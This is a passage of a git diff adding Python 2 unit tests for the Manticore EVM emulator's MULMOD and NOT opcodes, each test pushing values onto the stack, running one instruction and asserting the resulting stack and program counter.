+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [5192296858534827628530496329219584L])
+
+    def test_MULMOD_707(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576736L])
+
+    def test_MULMOD_708(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MULMOD_709(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1024L])
+
+    def test_MULMOD_710(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1536L])
+
+    def test_MULMOD_711(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_712(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15576890575604482885591488987660240L])
+
+    def test_MULMOD_713(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_714(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MULMOD_715(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [7788445287802241442795744493829376L])
+
+    def test_MULMOD_716(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [486777830487640090174734030865104L])
+
+    def test_MULMOD_717(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MULMOD_718(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1536L])
+
+    def test_MULMOD_719(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2304L])
+
+    def test_MULMOD_720(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_721(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_722(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_723(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_724(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_725(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_726(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_727(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_728(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_729(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMNOT.py b/tests/EVM/test_EVMNOT.py
new file mode 100644
index 0000000..d748d71
--- /dev/null
+++ b/tests/EVM/test_EVMNOT.py
@@ -0,0 +1,281 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_NOT(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_NOT_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x19'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_NOT_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x19'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_NOT_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x19'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639934L])
+
+    def test_NOT_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x19'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819983L])
+
+    def test_NOT_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x19'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338672L])
+
+    def test_NOT_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x19'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639919L])
+
+    def test_NOT_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x19'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
